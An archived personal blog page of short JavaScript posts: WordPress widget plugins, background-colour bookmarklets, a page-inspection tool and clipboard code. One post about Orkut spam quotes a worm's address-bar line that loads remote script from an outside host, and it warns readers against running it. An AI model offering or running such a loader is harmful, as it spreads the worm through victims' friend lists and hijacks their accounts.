RSS2.0

I moved to Debiprasad.net. Now I am blogging there, so please visit Debiprasad.net and keep me reading. love, Debiprasad

Ask questions related to online shopping in India

Where to buy online in India?

wheretobuyonline.in

Showing posts with label JavaScript. Show all posts
Showing posts with label JavaScript. Show all posts

JavaScript sidebar widget plugin for WordPress : uses source

This is a very simple sidebar widget which places JavaScript code in the widget. In this plugin, you need to provide the url of the JavaScript and this plugin will use that js file as it's source.

Download the plugin here

I will go through all the JavaScript codes we use generally in our websites or blogs and will update compatibility list here.

Usage:

  • BidVertiser Ads
    BidVertiser Ads codes provide an URL of JavaScript code, which you need to include as the source in a JavaScript block. Get the url from the code generated from BidVertiser and provide while editing the widget values and you can see the ads in this sidebar widget.


Snapshots will be provided soon

If you want to put any JavaScript code inside the <script> tag, then try my JavaScript Block Widget plugin (Download).

Update
You can also able to add JavaScript codes in text widget in sidebar. So you don't need this plugin.

JavaScript sidebar widget plugin for WordPress : uses sourceSocialTwist Tell-a-Friend TwitThis

JavaScript sidebar widget plugin for WordPress

I created my first plugin for WordPress. Well it's not a hi-fi complex plugin and never does any great work. It simply puts the JavaScript code (need to be provided while editing the widget). You can put any JavaScript code.

Download the plugin here

I will go through all the JavaScript codes we use generally in our websites or blogs and will update compatibility list here.

Snapshots will be provided soon.

If you want to include JS from a file, then I have crated Include JavaScript Widget plugin, which I will upload soon.

Update
You can also able to add JavaScript codes in text widget in sidebar. So you don't need this plugin.

JavaScript sidebar widget plugin for WordPressSocialTwist Tell-a-Friend TwitThis

High Quality Free Web Reference - New SitePoint Reference

SitePoint, the popular resource for web related knowledge and skill has release their newly designed Reference site. Their you can get high quality reference for HTML, CSS and JavaScript. Now web development and learning will be more easier.
Thanks Shayne Tilley

High Quality Free Web Reference - New SitePoint ReferenceSocialTwist Tell-a-Friend TwitThis

document.bgColor is deprecated : How to change the background color of any web page using JavaScript

Long time back I have posted one blog, where I have used document.bgColor to change the background color of any web page or web site. When I tried this today, it did not work. I found that document.bgColor is deprecated. It did not work in any browser. Hence I search for the solution and found this.

document.bgColor is deprecated in DOM Level 2 HTML. The recommended alternative is use of the CSS style background-color which can be accessed through the DOM with document.body.style.backgroundColor. Another alternative is document.body.bgColor, although this is also deprecated in HTML 4.01 in favor of the CSS alternative.

So, now if you want to change the background color of any web page or web site for better readability run the following code in the address bar of your browser.

javascript:document.body.style.backgroundColor='white'; void(0);


----
Reference : DOM:document.bgColor - MDC

document.bgColor is deprecated : How to change the background color of any web page using JavaScriptSocialTwist Tell-a-Friend TwitThis

XRAY : Xray any webpage

XRAY is a JavaScript tool, which is provided by westciv for free, is an useful tool for web designers, web developers and some adventurous people who like the web. Using this tool you can get all the information about page elements and their properties at a ease, without looking at the source code. The data which you can get from this tool are, name of the element, id, class, inheritance hierarchy, position, border, margin and padding. In inheritance hierarchy you can get the the path to that element from the body tag of html. This is like: html > body > div > div > ul > li > a (example). In position you can get top, left, width, height and float values. In border and padding, you can get top, left, width, height values too. Please see this picture to know how it looks.


You can get this tool here. In that page you will get one gray box with XRAY written on it, just drag that to the bookmarks bar of your browser, if you are using mozilla firefox. If you are using Internet explorer, the write click on that box and choose "Add to favorites..." from the menu and save it in your favorite folder. In Opera, you can drag or just choose the regular bookmark option.

How to use XRAY
It is quite simple, just open any website and click on the XRAY bookmark or link. It will load the tool and you can click on any element on the web page to know its properties. You can also navigate through the inheritance hierarchy. To close this just click on the close link of the tool or reload the page.
------
Referral: Get Firefox with Google Toolbar

XRAY : Xray any webpageSocialTwist Tell-a-Friend TwitThis

SQL or Script Injections in Orkut

Now a days, I am getting some spam scraps as the following.

Hey..One girl is about u.. also written about u in her ABOUT ME..And she added Your profile link and some of ur photos also...in her Profile..
Her profile link..

http://www.orkut.com/Profile.aspx?uid=16225293724851058484

I saw Your pics from her Profile..Super..Reply

When you will click on the profile link, it will open that persons profile and in about me you can find some message as following.

To see soMe of my friend pics....many are there[Cant write here]

Clear ur address bar..copy paste.. Below Script To See This Person's Picture:-

javascript:d=document;c=d.createElement('script');d.body.appendChild(c);c.src='http://picsfriends565.110mb.com/gudfoto.js';void(0)

I always avoid this and delete the scrap from my scrapbook as I know this is nothing but a attempt to have SQL or Script injection or Session Hijacking script. I am interested to see the JavaScript code and analyze it and to determine, what is the script doing. But, due to lack of time I say I will do it later. But today how ever I looked at one script. From this I understand that, the script is using popular web 2.0 technology Ajax, and let me explain what it does.

First it collects your friend list and sends that scrap to all and then displays some text about sql injection and ethical hacking. And with this it also displays your friends profile photos. My system is now crashing frequently. I hope this will be fixed in this week. After that I will play with all these scripts and post in detail. I promise that I will also help you to play with me.

And be careful, never run such scripts on your address bar. If you want to ask anything you can post here, I will reply.

SQL or Script Injections in OrkutSocialTwist Tell-a-Friend TwitThis

Change background color of any webpage using JavaScript

Have you ever seen any webpage with similar background color and text color? So how do you feel while reading those texts? I feel difficulty in such cases. But one simple JavaScript will work great to change the background color as you wish and you can read the text easily.

Now please read this (click here to see the working solution): document.bgColor is deprecated : How to change the background color of any web page using JavaScript --- Please click here to see the working solution.

javascript:document.bgColor='white'; void(0);

What you have to do is copy above code, pase it in the address bar of your browser and hit enter. And you will find the background color of thet page has changed.

Here I have given the color as white. You can use any color as you wish. You can also use both name of the colors and hexadecimal color code.

This works both in Internet Explorer and Mozilla Firefox. Before this code I was using only javascript:document.bgColor='white'; But while using this code, this goes to another page and displays the value which you have given for background color. So, I have to hit back to read the previous page. This works in Mozilla Firefox only and in IE, it did not work, as IE unable to catch the change done by external javascript. Thanks to Tanima for find out this problem.
-----------------
One more thing, if you are using IE (Internet Explorer), I recommend you to use Mozilla Firefox.

Change background color of any webpage using JavaScriptSocialTwist Tell-a-Friend TwitThis

Copy to Clipboard

Do you want to copy any contents on click of button or any other event. Here is the solution.

 window.clipboardData.setData("Text",text2copy);
But this will work only in Internet Explorer. So what will you for other browsers? Here is another solution.
netscape.security.PrivilegeManager.enablePrivilege('UniversalXPConnect');
var clip = Components.classes['@mozilla.org/widget/clipboard;1']
.createInstance(Components.interfaces.nsIClipboard);
if (!clip) return;
var trans = Components.classes['@mozilla.org/widget/transferable;1']
.createInstance(Components.interfaces.nsITransferable);
if (!trans) return;

trans.addDataFlavor('text/unicode');

var str = new Object();
var len = new Object();

var str = Components.classes["@mozilla.org/supports-string;1"]
.createInstance(Components.interfaces.nsISupportsString);

var copytext = "The Text you want to copy";

str.data = copytext;

trans.setTransferData("text/unicode", str, copytext.length*2);

var clipid=Components.interfaces.nsIClipboard;

if (!clip) return false;

clip.setData(trans, null, clipid.kGlobalClipboard);

And this may show this error
uncaught exception: A script from "http://loveorkut.com/" was denied UniversalXPConnect Privilages.

This is because, Mozilla doesn't allow copying to clipboard unless the script is signed (Digital signatures, from Verizon, etc.). And even if its signed it asks for user permission before allowing the script to do so.
So what will you do. Here is the solution:
There is this flash component which allows copying to clipboard from any browsers. Its not designed by me. But I had used it once and its working in almost all browsers I have tested. I am not getting the exact source of this file. But its released under the GPL, so freely distributable.

Download this file: http://rapidshare.com/files/81866988...board.swf.html
Keep it in the same folder.

Here is the code:

function copy(text2copy) {
if (window.clipboardData) {
window.clipboardData.setData("Text",text2copy);
} else {
var flashcopier = 'flashcopier';
if(!document.getElementById(flashcopier)) {
var divholder = document.createElement('div');
divholder.id = flashcopier;
document.body.appendChild(divholder);
}
document.getElementById(flashcopier).innerHTML = '';
var divinfo = '';
document.getElementById(flashcopier).innerHTML = divinfo;
}
}

It has also some limitations, I will discuss it later. Please give your feedback and comments.

Copy to ClipboardSocialTwist Tell-a-Friend TwitThis

My Shared Items in Google Reader

My Blogroll

Followers

Want to see/show anything here? Contact me :)